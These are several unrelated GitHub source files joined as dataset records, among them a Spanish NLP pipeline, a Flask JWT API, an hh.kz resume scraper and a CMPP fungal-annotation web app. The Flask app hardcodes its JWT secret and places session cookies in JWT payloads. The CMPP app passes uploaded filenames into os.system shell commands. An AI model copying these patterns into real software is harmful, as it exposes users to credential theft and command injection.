surname\r\nprint(fullname1)\r\n","repo_name":"shrutic99/ME-021-Projects","sub_path":"lab01 - python.py","file_name":"lab01 - python.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27093162623","text":"import nltk\nfrom pickle import dump, load\nfrom bs4 import BeautifulSoup\nfrom nltk.corpus import stopwords\nfrom nltk.corpus import cess_esp\nfrom re import match\nimport numpy as np\n\ndef get_sentences(fname):\n f = open(fname, encoding = 'utf-8')\n text = f.read()\n f.close()\n \n soup = BeautifulSoup(text, 'lxml')\n text_string = soup.get_text()\n \n sent_tokenizer = nltk.data.load('nltk:tokenizers/punkt/spanish.pickle')\n sentences = sent_tokenizer.tokenize(text_string)\n return sentences\n\ndef make_and_save_tagged_tokens(fname_tag, fname_tokens, sentences):\n tagged_tokens = list()\n \n input = open(fname_tag, 'rb')\n tagger = load(input)\n input.close()\n \n for s in sentences:\n tokens = nltk.word_tokenize(s)\n s_tagged = tagger.tag(tokens)\n for w_tagged in s_tagged:\n tagged_tokens.append(list(w_tagged))\n \n output = open(fname_tokens, 'wb')\n dump(tagged_tokens, output, -1)\n output.close()\n \ndef print_saved_tokens(fname):\n input = open(fname, 'rb')\n tagged_tokens = load(input)\n input.close()\n type(tagged_tokens)\n print(tagged_tokens)\n \ndef get_clean_tokens(raw_tokens):\n clean_tokens = []\n for tok in raw_tokens:\n tok[0] = tok[0].lower()\n tok[1] = tok[1].lower()\n t = ''\n for ch in tok[0]:\n if match(r'[a-záéíóúñA-ZÁÉÍÓÚÑ]', ch):\n t = t + ch\n letterToken = ''.join(t)\n if letterToken != '':\n tok[0] = t\n clean_tokens.append(tok)\n return clean_tokens;\n\ndef get_norm_tokens(clean_tokens):\n norm_tokens = []\n for tok in clean_tokens:\n if(tok[0] not in stopwords.words('spanish')):\n norm_tokens.append(tok[0] + ' ' + tok[1][0])\n return norm_tokens\n\ndef make_and_save_norm_tokens(in_fname, out_fname):\n input = open(in_fname, 'rb')\n tagged_tokens = load(input)\n input.close()\n \n clean_tokens = get_clean_tokens(tagged_tokens)\n norm_tokens = get_norm_tokens(clean_tokens)\n \n output = open(out_fname, 'wb')\n dump(norm_tokens, output, -1)\n output.close()\n print(norm_tokens)\n \n\ndef make_and_save_combined_tagger(fname):\n default_tagger = nltk.DefaultTagger('V')\n patterns=[ (r'.*o$', 'NMS'), # noun masculine singular\n (r'.*os$', 'NMP'), # noun masculine plural\n (r'.*a$', 'NFS'), # noun feminine singular\n (r'.*as$', 'NFP') # noun feminine singular\n ]\n regexp_tagger = nltk.RegexpTagger(patterns, backoff = default_tagger)\n #train nltk.UnigramTagger using tagged sentences from cess_esp \n cess_tagged_sents = cess_esp.tagged_sents()\n uni_tag = nltk.UnigramTagger(cess_tagged_sents, backoff = regexp_tagger)\n \n combined_tagger = nltk.BigramTagger(cess_tagged_sents, backoff = uni_tag)\n output = open(fname, 'wb')\n dump(combined_tagger, output, -1)\n output.close()\n \ndef substitute_by_lemma(lemma_fname, finished_fname, tokens_fname):\n input = open(lemma_fname, 'rb')\n lemma_dict = load(input)\n input.close()\n \n input = open(tokens_fname, 'rb')\n norm_tokens = load(input)\n input.close()\n \n finished_tokens = list()\n \n for tok in norm_tokens:\n if tok in lemma_dict:\n finished_tokens.append(lemma_dict[tok])\n else:\n finished_tokens.append(tok)\n \n output = open(finished_fname, 'wb')\n dump(finished_tokens, output, -1)\n output.close()\n \ndef get_context(tokens, palabra):\n context = []\n for x in range(0, len(tokens)):\n if(tokens[x] == palabra):\n for y in range(-4,4):\n if(y != 0 and (y + x >= 0) and (x + y < len(tokens))):\n context.append(tokens[x + y])\n return context\n\ndef make_and_save_contexts(fname, finished_tokens, vocabulary):\n contexts = dict()\n for term in vocabulary:\n contexts[term] = get_context(finished_tokens, term)\n \n output = open(fname, 'wb')\n dump(contexts, output, -1)\n output.close()\n print(contexts)\n\ndef get_file_object(fname):\n input = open(fname, 'rb')\n file_object = load(input)\n input.close()\n \n return file_object\n\ndef make_and_save_vocabulary(fname, finished_tokens):\n vocabulary = list(set(finished_tokens))\n vocabulary.sort()\n \n output = open(fname, 'wb')\n dump(vocabulary, output, -1)\n output.close()\n print(vocabulary)\n \ndef make_and_save_vectors(fname, contexts, vocabulary):\n vectors = dict()\n for term in vocabulary:\n vector = []\n for x in range(0,len(vocabulary)):\n vector.append(contexts[term].count(vocabulary[x]))\n vectors[term] = vector\n output = open(fname, 'wb')\n dump(vectors, output, -1)\n output.close()\n print(vectors)\n \ndef get_cosines(word, vocabulary, fname_vectors):\n cosines = dict()\n vectors = get_file_object(fname_vectors)\n vec = vectors[word]\n vec = np.array(vec)\n for v in vocabulary:\n vector = vectors[v]\n vector = np.array(vector)\n cosine = np.dot(vec, vector) / ((np.sqrt(np.sum(vec **2))) * (np.sqrt(np.sum(vector ** 2))))\n cosines[v] = cosine\n import operator\n cosines = sorted(cosines.items(),\n key = operator.itemgetter(1),\n reverse = True)\n return cosines\n\ndef print_cosine(fname, cosines):\n f = open(fname, 'w')\n for item in cosines:\n f.write(str(item))\n f.write('\\n')\n f.close()\nfname = 'e961024.htm'\nsentences = get_sentences(fname)\n\nfname_tagger = 'combined_tagger.pkl'\n#make_and_save_combined_tagger(fname_tagger)\nfname_tokens = 'raw_tagged_tokens.tok'\n#make_and_save_tagged_tokens(fname_tagger, fname_tokens, sentences)\nfname_norm_tokens = 'norm_tagged_tokens.tok'\n#make_and_save_norm_tokens(fname_tokens, fname_norm_tokens)\nfname_lemma_dict = 'lemma_dict.dict'\nfname_finished_tokens = 'finished_tokens.tok'\n#substitute_by_lemma(fname_lemma_dict, fname_finished_tokens, fname_norm_tokens)\n#finished_tokens = get_file_object(fname_finished_tokens)\nfname_vocabulary = 'vocabulary.voc'\n#make_and_save_vocabulary(fname_vocabulary, finished_tokens)\nvocabulary = get_file_object(fname_vocabulary)\nfname_contexts = 'context.ctx'\n#make_and_save_contexts(fname_contexts, finished_tokens, vocabulary)\n#contexts = get_file_object(fname_contexts)\nfname_vectors = 'vectors.vec'\ncosines = get_cosines(\"grande a\", vocabulary, fname_vectors)\nprint_cosine(\"cosine.txt\", cosines)","repo_name":"MickeyMew/PLN","sub_path":"Practicas/practica3/practica3.py","file_name":"practica3.py","file_ext":"py","file_size_in_byte":6492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27971700647","text":"# Example:\n# Input:\n# 2\n# 5\n# 1 3 2 5 4\n# 5\n# 11 12 31 14 5\n\n# Output:\n# 5 3 1 2 4\n# 31 12 5 11 14\n\nfor _ in range(int(input())):\n n = int(input())\n arr = list(map(int, input().split()))\n ans = [0]*n\n mid = n//2\n if n % 2 == 0:\n mid = (n-1)//2\n right = 0\n left = 0\n for i in range(1, len(arr)+1):\n min_ = min(arr)\n arr.remove(min_)\n if i % 2 == 0:\n ans[mid+right] = min_\n left = left-1\n else:\n ans[mid+left] = min_\n right = right+1\n print(*ans)\n","repo_name":"KSVarun/Coding-Challanges","sub_path":"pendulum.py","file_name":"pendulum.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17278514788","text":"# -*- coding: utf-8 -*-\nimport sys\nimport psutil\nimport time\nimport multiprocessing\nfrom .multi_thread import MultiThread\nfrom .multi_process import MultiProcess\n\n# https://github.com/Robpol86/terminaltables\nfrom terminaltables import AsciiTable\nfrom . import cpuinfo\n\n\ndef is_number(s):\n \"\"\"\n Check whether string is number\n \"\"\"\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n\ndef run(nops=None):\n out_table = []\n\n args = sys.argv[1:]\n\n ncpus = multiprocessing.cpu_count()\n num_op = 100\n\n if len(args) >= 1:\n if is_number(s=args[0]):\n num_op = int(args[0])\n else:\n print(\n \"\"\"USAGE: $ python_benchmark_thread_vs_process (default: NUM_OPERATIONS_PER_CHILD=%d)\nEg. $ python_benchmark_thread_vs_process 10\"\"\"\n % num_op\n )\n return\n\n if nops is not None:\n num_op = nops\n\n out_table.append(\n [\n \"Num CPUs\",\n \"CPU Model\",\n \"Current CPU Freq (MHz)\",\n \"Multi-Thread Time (s)\",\n \"Multi-Process Time (s)\",\n \"Total Test Operation\",\n ]\n )\n\n out_table.append([str(ncpus)])\n\n cpu_info = psutil.cpu_freq()\n current_cpu_freq = round(cpu_info.current)\n try:\n out_table[1].append(cpuinfo.cpu.info[0][\"model name\"])\n except Exception:\n out_table[1].append(\"N/A\")\n out_table[1].append(\"%.0f\" % current_cpu_freq)\n\n print(\n \"Benchmarking (%d CPUs @ %s) ... please wait...\"\n % (int(ncpus), \"%.0fMHz\" % current_cpu_freq)\n )\n\n # multi-thread benchmarking\n tstart = time.time()\n mthread = MultiThread(num_thread=ncpus, num_op=num_op)\n mthread()\n tend = time.time()\n tdelta = tend - tstart # seconds\n out_table[1].append(\"%.4f\" % tdelta)\n\n time.sleep(1) # sleep 1 second\n\n # multi-process benchmarking\n tstart = time.time()\n mprocess = MultiProcess(num_process=ncpus, num_op=num_op)\n mprocess()\n tend = time.time()\n tdelta = tend - tstart # seconds\n out_table[1].append(\"%.4f\" % tdelta)\n\n out_table[1].append(str(ncpus * num_op))\n\n benchmark_result_banner = [\n \"====================\",\n \"| BENCHMARK RESULT |\",\n \"====================\",\n ]\n print(\"\\n\".join(benchmark_result_banner))\n print(AsciiTable(out_table).table)\n pass\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"minhng-info/python-benchmark-thread-vs-process","sub_path":"python_benchmark_thread_vs_process/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"9442628098","text":"from flask import Flask,jsonify,request,render_template\nfrom flask_jwt_extended import *\nfrom flask_cors import CORS\n\nimport api\nimport datetime\n\njwt = JWTManager()\napp = Flask(__name__)\nCORS(app)\napp.config['JWT_SECRET_KEY'] = 'biganna326'\njwt.init_app(app)\napp.config['JSON_AS_ASCII'] = False\napp.config['JWT_TOKEN_LOCATION'] = ['headers','query_string']\napp.config['JWT_ACCESS_TOKEN_EXPIRES'] = datetime.timedelta(minutes=60)\napp.config['JWT_QUERY_STRING_NAME'] = 'token'\napp.config['PROPAGATE_EXCEPTIONS'] = True\n\n@app.route('/api/score',methods=['POST','GET'])\n@jwt_required()\ndef score():\n myCookie = get_jwt_identity()['cookie']\n myScore = api.getScore(myCookie)\n return jsonify(myScore)\n #return jsonify(api.getScore(tempcookie))\n\n@app.route('/api/info', methods=['GET', 'POST'])\n@jwt_required()\ndef getInfo(): \n myInfo = get_jwt_identity()\n del myInfo['cookie']\n return jsonify(myInfo)\n\n\n@app.route('/api/login',methods=['POST','GET'])\ndef login():\n uid = request.values.get('uid')\n pwd = request.values.get('pwd')\n if uid == None or pwd == None:\n return jsonify({\"error\" : '帳號或密碼為空'})\n loginPayload = api.login(uid,pwd)\n if 'error' in loginPayload:\n return jsonify(loginPayload)\n \n access_token = create_access_token(identity=loginPayload)\n return jsonify({'token': access_token,\n 'error' : 'noError'})\n\n@app.route('/api/reward',methods=['POST','GET'])\n@jwt_required()\ndef getReward():\n myCookie = get_jwt_identity()['cookie']\n myReward = api.getReward(myCookie)\n return jsonify(myReward)\n\n@app.route('/api/noshow',methods=['POST','GET'])\n@jwt_required()\ndef getNoShow():\n myCookie = get_jwt_identity()['cookie']\n myNoShow = api.getNoShow(myCookie)\n return jsonify(myNoShow)\n\n@app.route('/api/coursetable',methods=['POST','GET'])\n@jwt_required()\ndef getMyCourse():\n myCookie = get_jwt_identity()['cookie']\n myCourse = api.getCourse(myCookie)\n return jsonify(myCourse)\n\n@app.route('/api/getGreaduate',methods=['POST','GET'])\n@jwt_required()\ndef getMyGread():\n myCookie = get_jwt_identity()['cookie']\n numberOf = request.values.get('numberOf')\n myGread = api.getGreaduate(myCookie,numberOf)\n return jsonify(myGread)\n\n\n@app.route(\"/api/status\",methods=['GET'])\ndef checkStatus():\n return jsonify(api.checkStatus())\n\n@app.route(\"/api/newsList\",methods=['GET'])\ndef getNews():\n print(request.remote_addr + \"-LOGIN AND GET NEWS!!\")\n return jsonify(api.newsList())\n\n@app.route(\"/test/getCList\",methods=['get'])\n@jwt_required()\ndef getCList():\n myCookie = get_jwt_identity()['cookie']\n getList = api.requestLeaveCanList(myCookie)\n return getList\n\n@app.route(\"/api/ckeckVersion\", methods=['GET'])\ndef getVersion():\n return jsonify({\"iOS\" : \"1.21\" , \"URL\" : \"https://apps.apple.com/tw/app/tw/id1580528288\"})\n","repo_name":"imbiganna/NPU-AP-API","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"17008239650","text":"import requests\nimport csv\nimport pandas\nfrom bs4 import BeautifulSoup\n\ndef parse_resumes(search_text):\n fields=[[\"name\",\"salary\",\"specialization\",\"sex\",\"age\",\"experience\",\"employment\",\"citizenship\"]]\n for i in range(1):\n if i == 0 : URL = \"https://hh.kz/search/resume?text=\" + search_text + \"&area=40¤cy_code=KZT&ored_clusters=true&order_by=relevance&logic=normal&pos=full_text&exp_period=all_time&items_on_page=20\"\n else: URL = \"https://hh.kz/search/resume?text=\" + search_text + \"&area=40¤cy_code=KZT&ored_clusters=true&order_by=relevance&logic=normal&pos=full_text&exp_period=all_time&items_on_page=20 &page=\" + str((i + 1))\n \n\n page = requests.get(URL, headers={'User-Agent': 'Custom'})\n soup = BeautifulSoup(page.content, \"html.parser\")\n\n job_elements = soup.find_all(class_ = \"serp-item\")\n\n for element in job_elements:\n Aelement = element.find(class_ = \"serp-item__title\")\n link = Aelement.get('href')\n\n newUrl = \"https://hh.kz/\" + link\n newPage = requests.get(newUrl, headers={'User-Agent': 'Custom'})\n newsoup = BeautifulSoup(newPage.content, \"html.parser\")\n \n title = element.find(class_ = \"serp-item__title\").get_text()\n Specialization = \"Specialization not found :_(\"\n Salary = 0\n Age = \"Age not found :_(\"\n EmpAndWork = []\n Exp = \"Experince not found\"\n Cs = \"Citizenship not found\"\n sex = \"Sex not found\"\n\n \"\"\" Finds specialization\"\"\"\n SpecializationElement = newsoup.find(class_ = \"resume-block__specialization\")\n if SpecializationElement is not None: Specialization = SpecializationElement.get_text() \n\n \"\"\" Finds salary\"\"\"\n SalaryElement = newsoup.find(class_ = \"resume-block__salary\")\n if SalaryElement is not None:\n temp = \"\"\n for char in SalaryElement.get_text():\n if '0' <= char <= '9':\n temp += char\n Salary = int(temp)\n\n \"\"\" Finds Age\"\"\"\n AgeElement = element.find(class_ = \"resume-search-item__fullname\")\n if AgeElement is not None: Age = AgeElement.get_text()\n \n \"\"\" Finds employment and work schedule\"\"\"\n EmpElement = newsoup.find(class_ = \"resume-block-container\")\n \n if EmpElement is not None: Found = EmpElement.find_all(\"p\")\n for EW in Found:\n if EW is not None:\n EmpAndWork += EW.get_text()\n EmpAndWork += \"\\n\"\n EmpAndWork = ''.join(EmpAndWork)\n\n \"\"\" Finds years and month exp\"\"\"\n ExpElement = newsoup.find(class_ = \"resume-block__title-text resume-block__title-text_sub\")\n if ExpElement is not None: Exp = ExpElement.get_text()\n\n \"\"\" Finds citizenship\"\"\"\n CsElement = newsoup.find(lambda tag: tag.name == \"p\" and \"Гражданство\" in tag.text)\n if CsElement is None: CsElement = newsoup.find(lambda tag: tag.name == \"p\" and \"Citizenship\" in tag.text)\n if CsElement is not None: Cs = CsElement.get_text()\n\n \"\"\" Finds sex\"\"\"\n sexElement = newsoup.find(lambda tag: tag.name == \"span\" and ((\"Мужчина\" in tag.text) or (\"Женщина\" in tag.text) or (\"Male\" in tag.text) or (\"Female\" in tag.text)))\n if sexElement is not None: sex = sexElement.get_text()\n\n field = [ title,\n Salary,\n Specialization,\n sex,\n Age,\n Exp,\n EmpAndWork,\n Cs]\n\n fields.append(field)\n \n return fields\n \n \nif __name__ == \"__main__\":\n search_text = input()\n\n with open(\"resumes.csv\",'w', newline='', encoding=\"utf-8\") as csvf:\n writer = csv.writer(csvf)\n writer.writerows(parse_resumes(\"java\"))\n\npandas.read_csv('resumes.csv',delimiter=',')\nreader = pandas.read_csv('resumes.csv',delimiter=',')\nreader.sort_values([\"salary\",\"age\",\"experience\",\"name\"])\n\nreader.salary.min()\nreader.salary.max()\nreader.salary.mean()\n\ninfo=[[\"Male\",reader.loc[reader.sex==True].salary.min(),\n reader.loc[reader.sex==True].salary.max(),\n reader.loc[reader.sex==True].salary.mean()],\n [\"Female\",reader.loc[reader.sex==False].salary.min(),\n reader.loc[reader.sex==False].salary.max(),\n reader.loc[reader.sex==False].salary.mean()]]\n\ndaf = pandas.DataFrame(info, columns=['Sex','Min', 'Max','Average'])\ndaf","repo_name":"MakyKari/HH_parser","sub_path":"Endterm.py","file_name":"Endterm.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32890408524","text":"import argparse\nimport csv\n\nimport networkx as nx\n\nfrom sampler.sampler import Sampler\nfrom stoic.stoic_regular import ExpandGraph\nfrom stoic.graph_reader import GraphReader\nfrom sbml_generator.sbml_gen import SBMLGenerator\nfrom sbml_generator.sbml_gen_impl import GenerateSBML\n\n\ndef pars():\n p = argparse.ArgumentParser(description='Import graph')\n p.add_argument('edge_list')\n return p\n\n\ndef export_reactions_human_readable():\n with open('result/reactions_human.txt', 'w') as f:\n for index, reaction in enumerate(expanded_graph.human_readable_reactions(), start=1):\n f.write(\"{} {}\\n\".format(str(index), reaction))\n\n\ndef export_efm_human_readable():\n with open('result/EFM_human.txt', 'w') as f:\n f.write(\"Total number of EFMs: {}\\n\".format(len(r.result)))\n for i, efms in enumerate(r.result, start=1):\n f.write('EFM #{}\\n'.format(str(i)))\n for index, reaction in enumerate(efms):\n if reaction == 1:\n f.write('{}\\n'.format(ExpandGraph.human_readable_reaction(expanded_graph.graph, expanded_graph.reactions[index])))\n f.write('\\n')\n\n\ndef export_stoichiometric_matrix():\n reaction_count = len(expanded_graph.matrix[0])\n assert len(expanded_graph.graph.nodes()) == len(expanded_graph.matrix)\n with open('result/stoichiometric_matrix.csv', 'w') as csvfile:\n csv_writer = csv.writer(csvfile, delimiter=',',\n quotechar='\"', quoting=csv.QUOTE_NONNUMERIC, lineterminator='\\n')\n csv_writer.writerow(['node name'] + ['reaction ' + str(i) for i in range(1, reaction_count + 1)])\n for row, node_name in zip(expanded_graph.matrix, sorted(expanded_graph.graph.nodes(data=True))):\n csv_writer.writerow([str(node_name[1]['name'])] + row)\n csv_writer.writerow(['reversible'] + expanded_graph.vector)\n\n\ndef export_efm_reaction_numbers():\n with open('result/EFM_reactions.txt', 'w') as f:\n f.writelines(\"Total number of EFMs: %s\\n\" % len(r.result))\n for i, efms in enumerate(r.result, start=1):\n f.write('EFM #%s\\n' % str(i))\n for index, reaction in enumerate(efms):\n if reaction == 1:\n f.write(str(expanded_graph.reactions[index]))\n f.write('\\n')\n f.write('\\n')\n\n\ndef export_sbml(graph, reactions):\n document = GenerateSBML(graph, reactions=reactions).generate_sbml()\n with open('result/stoichiometric_matrix_in_SBML.xml', \"w\") as f:\n f.write(SBMLGenerator.convert_to_xml(document=document))\n\n\nif __name__ == '__main__':\n parser = pars()\n args = parser.parse_args()\n graph = GraphReader(args.edge_list).create_graph()\n expanded_graph = ExpandGraph(graph)\n print(\"I've deleted rows %s with all zeroes\" % expanded_graph.deleted_rows_count)\n\n export_stoichiometric_matrix()\n export_reactions_human_readable()\n # feed stoichiometric matrix and reaction vector to EFM Sampler\n r = Sampler(expanded_graph.matrix, expanded_graph.vector)\n\n nx.write_graphml(graph, \"result/imported_graph.graphml\")\n nx.write_graphml(expanded_graph.graph, \"result/expanded_graph.graphml\")\n export_sbml(expanded_graph.graph, expanded_graph.reactions)\n export_efm_human_readable()\n export_efm_reaction_numbers()\n\n # print expanded_graph.vector\n # for reaction in expanded_graph.reactions:\n # print reaction\n\n # for r in [r for v, r in zip(expanded_graph.vector, expanded_graph.reactions) if v == 1]:\n # print r\n\n # print('size of the generated matrix')\n # print(len(expanded_graph.matrix), 'x', len(expanded_graph.matrix[0]))\n\n # look for columns in stoichiometric matrix that have all 0s\n # m = zip(*expanded_graph.matrix)\n # for i, row in enumerate(m):\n # if all(element == 0 for element in row):\n # print i, row\n\n # print('List all reactions')\n # for i, r in enumerate(expanded_graph.reactions, start=1):\n # print i, r\n","repo_name":"stashkov/Signal2RGraph","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32118311364","text":"#!/usr/bin/env python\n###\n# possibile citation:\n# ```bibtxt\n# @article{sun2020whole,\n# title={Whole-genome sequencing and bioinformatics analysis of apiotrichum mycotoxinivorans: predicting putative zearalenone-degradation enzymes},\n# author={Sun, Jinyuan and Xia, Yan and Ming, Dengming},\n# journal={Frontiers in Microbiology},\n# pages={1866},\n# year={2020},\n# publisher={Frontiers}\n# }\n# ```\n###\n\nfrom signal import raise_signal\nfrom pywebio import session, config, start_server\nfrom pywebio.output import *\nfrom pywebio.pin import *\nfrom pywebio.input import *\n\nfrom time import time\nimport distutils.dir_util\nimport hashlib\nfrom CMPP_plot_web import *\n\nDATABASE_PATH = '/home/jsun/functional/'\nTEST_MODE = 0\n\ndef check_file_format(input_file_path):\n name_list = []\n seq_list = []\n with open(input_file_path, 'r') as ifile:\n for line in ifile:\n if line.startswith('>'):\n name_list.append(line.strip())\n seq_list.append('')\n else:\n try:\n seq_list[-1] += line.strip()\n except IndexError:\n return 0\n all_aa = ''.join(seq_list)\n if len(all_aa) < 1:\n put_text(\"No amino acid found! Check your input file\").style('color: red; font-size: 40px')\n return 0\n else:\n seq_num = len(name_list)\n put_text(f'There are {seq_num} protein sequences in your file.').style('color: grey; font-size: 40px')\n return 1\n\n\ndef timer_func(func):\n # This function shows the execution time of \n # the function object passed\n def wrap_func(*args, **kwargs):\n t1 = time()\n func(*args, **kwargs)\n t2 = time()\n put_text(f'Sequences search done in {(t2-t1):.4f}s').style('color: black; font-size: 30px')\n return 0\n return wrap_func\n\n@timer_func\ndef run_system(cmd:str, db_name:str=\"db\"):\n if TEST_MODE:\n pass\n else:\n os.system(cmd)\n print(cmd)\n return cmd\n\nclass CMPP_web():\n def __init__(self, input_file:str, database_path:str, output_path:str = 'CMPP_out/') -> None:\n self.token = input_file.replace(input_file.split(\"/\")[-1],',')[:-1]\n self.output_path = input_file.replace(input_file.split(\"/\")[-1],output_path)\n distutils.dir_util.mkpath(self.output_path)\n self.input_file_path = input_file\n self.input_file_name = input_file.split(\"/\")[-1]\n self.database_path = database_path\n self.fixed_blast_param = '-evalue 1e-10 -outfmt 6 -max_target_seqs 5 -num_threads 4 -out'\n \n def run_search(self):\n # TODO: parsing file with python code.\n job_list = [\n f\"blastp -query {self.input_file_path} -db {self.database_path}/merops/merops_scan.lib {self.fixed_blast_param} {self.output_path}/{self.input_file_name}.merops.btb\",\n f\"blastp -query {self.input_file_path} -db {self.database_path}/PHI/phi-base_current.fas {self.fixed_blast_param} {self.output_path}/{self.input_file_name}.phi.btb\",\n f\"hmmscan -o P450.out --tblout {self.output_path}/{self.input_file_name}.p450.htb --noali --cpu 2 -E 1e-5 {self.database_path}/P450/P450.hmm.txt {self.input_file_path}\",\n f\"hmmscan -o CAZy.out --tblout {self.output_path}/{self.input_file_name}.cazy.htb --noali --cpu 2 -E 1e-5 {self.database_path}/CAZy/dbCAN-HMMdb-V9.txt {self.input_file_path}\"\n ]\n # t0 = time.time()\n put_text('Running Blast search against merops database...').style('color: black; font-size: 30px')\n run_system(job_list[0])\n put_text('Running Blast search against PHI database...').style('color: black; font-size: 30px')\n run_system(job_list[1])\n put_text('Running hmmscan search against P450 database...').style('color: black; font-size: 30px')\n run_system(job_list[2])\n put_text('Running hmmscan search against CAZy database...').style('color: black; font-size: 30px')\n run_system(job_list[3])\n\n distutils.dir_util.mkpath(self.output_path)\n os.system(\"grep -v \\\"#\\\" %s.p450.htb|awk -F \\\" \\\" '{print$3}'|sort|uniq > %sp450.glist\"%(self.output_path+self.input_file_name, self.output_path))\n os.system(\"grep -v \\\"#\\\" %s.cazy.htb|awk -F \\\" \\\" '{print$3}'|sort|uniq > %scazy.glist\"%(self.output_path+self.input_file_name, self.output_path))\n os.system(\"awk '{print$1}' %s.merops.btb |sort|uniq > %smerops.glist\"%(self.output_path+self.input_file_name, self.output_path))\n os.system(\"awk '{print$1}' %s.phi.btb |sort|uniq > %sphi.glist\"%(self.output_path+self.input_file_name, self.output_path))\n\n \n def run_plot(self):\n path = self.output_path\n dataset_dict = read_glist(path=self.output_path)\n venn_plot(dataset_dict,path=path)\n\n phi_dict = make_phi_dict(btbfile = self.output_path+self.input_file_name+'.phi.btb')\n phi_plot(phi_dict, short_phi_names = True, dark = False, path=path)\n\n merops_map_dict = read_merops_map(merops_path = \"common/merops.txt\")\n merops_dict = mk_merops_dict(merops_map_dict, btbfile = self.output_path+self.input_file_name+'.merops.btb')\n merops_plot(merops_dict, short_merops_names = False, path=path)\n\n cazy_dict = mk_cazy_dict(htbfile = self.output_path+self.input_file_name+'.cazy.htb')\n cazy_plot(cazy_dict, short_cazy_names=True, path=path)\n os.system(f'touch {self.token}/DONE')\n\n\ndef input_seq():\n put_text(\"Protein sequence:\")\n res = textarea('Protein sequence', type=TEXT)\n md5 = hashlib.md5()\n md5.update(res.encode('utf-8'))\n hash_code = md5.hexdigest()\n # TODO: if hash_code in database, return results \n with open(f'{hash_code}.fa', 'w+') as ifile:\n ifile.write(res)\n put_text(f\"your jobs {hash_code} was sumbmitted.\")\n return hash_code+\".fa\"\n\ndef creat_token(text):\n md5 = hashlib.md5()\n md5.update(text)\n token = md5.hexdigest()\n return token\n\ndef get_genome():\n f = file_upload(\"Upload a fungal genome for annotation\", \n max_size='100M',\n help_text=\"File show be in fasta file format.\")\n print(\"Loading file\")\n token = creat_token(f['content'])\n print(\"Creating token\")\n if token in os.listdir():\n put_text('The genome is uploaded!\\nYour job id is '+token).style('color: black; font-size: 40px')\n if 'DONE' in os.listdir(token):\n put_text('get your results from '+token)\n else:\n put_text('A job with the same input is running! Please be patient!')\n return token, f['filename']\n else:\n distutils.dir_util.mkpath(token)\n open(token+\"/\"+f['filename'], 'wb').write(f['content'])\n check = check_file_format(token+\"/\"+f['filename'])\n while not check:\n os.system(f'rm -rf ./{token}')\n put_text(f'The uploaded file is invalid! Upload again please!').style('color: red; font-size: 40px')\n f = file_upload(\"Upload a fungal genome for annotation\", \n max_size='100M',\n help_text=\"File show be in fasta file format.\")\n\n token = creat_token(f['content'])\n check = check_file_format(token+\"/\"+f['filename'])\n\n put_text(f'The genome is uploaded!\\nYour job id is {token}').style('color: black; font-size: 40px')\n return token+\"/\"+f['filename']\n\n\ndef run_app(input_file, token, DATABASE_PATH):\n cmpp = CMPP_web(input_file, DATABASE_PATH)\n cmpp.run_search()\n cmpp.run_plot()\n os.system(f'rm {input_file}')\n os.system(f\"tar vczf {token}.tar.gz {token}\")\n\n\ndef load_results(token):\n \n put_text(\"Here are your results:\").style('text-align:center;font-size:40px')\n for file in os.listdir(f'{token}/CMPP_out/'):\n if file.endswith(\"png\"):\n img = open(f'{token}/CMPP_out/{file}', 'rb').read() \n name = file.replace(\"_\",' ').replace(\".png\",\"\")\n put_text(f'{name} plot').style('font-size:30px')\n put_image(img).style('display: block;margin-left: auto;margin-right: auto;width: 60%;')\n content = open(f'./{token}.tar.gz', 'rb').read()\n put_file(f'{token}.tar.gz', content, 'Download all results').style('text-align:center, font-size:40px')\n\ndef run_job():\n input_file = get_genome()\n print(\"Genome loaded!\")\n if \"/\" in input_file:\n # 2. run the app\n token = input_file.split(\"/\")[0]\n run_app(input_file, token, DATABASE_PATH)\n load_results(token)\n else:\n token, file_name = input_file\n if 'DONE' in os.listdir(token):\n load_results(token)\n else:\n pass\n\ndef load_job():\n token = input(\"Your token:\",help_text=\"Demo token: ce428d17e648815ce5cd305c77751a91\")\n load_results(token)\n\ndef main():\n put_markdown('''\n # CMPP: Annotate CAZy, MEROPS, PHI, P450 for fungi\n To annotate carbohydrate-active enzymes, proteases and inhibitors, pathogen-host interaction proteins, and Cytochrome P450 in a fungi proteome.\n [GitHub](https://github.com/JinyuanSun/CMPP)\n [Colab version](https://colab.research.google.com/github/JinyuanSun/CMPP/blob/main/ColabCMPP.ipynb)\n ''')\n img = open('./logo_CMPP.png', 'rb').read()\n put_image(img).style('display: block;margin-left: auto;margin-right: auto')\n put_buttons(['Load a job', 'Start a new job'], onclick=[load_job, run_job])\n \n\nif __name__ == '__main__':\n # load_results('.')\n # main()\n start_server(main, session_expire_seconds=600, port=3000, debug=True, cdn=False, max_payload_size='100M')\n\n","repo_name":"JinyuanSun/CMPP","sub_path":"web/cmpp-app.py","file_name":"cmpp-app.py","file_ext":"py","file_size_in_byte":9562,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"73212337505","text":"from __future__ import print_function\n\nimport logging\nlogger_c = logging.getLogger(\"%s.cloth\" % __name__)\nlogger_s = logging.getLogger(\"%s.serializer\" % __name__)\n\nfrom lxml import html, etree\nfrom copy import deepcopy\nfrom inspect import isgenerator\n\nfrom spyne.util import Break, coroutine\nfrom spyne.util.oset import oset\nfrom spyne.util.six import string_types\nfrom spyne.util.color import R, B\nfrom spyne.model import Array, AnyXml, AnyHtml, ModelBase, ComplexModelBase, 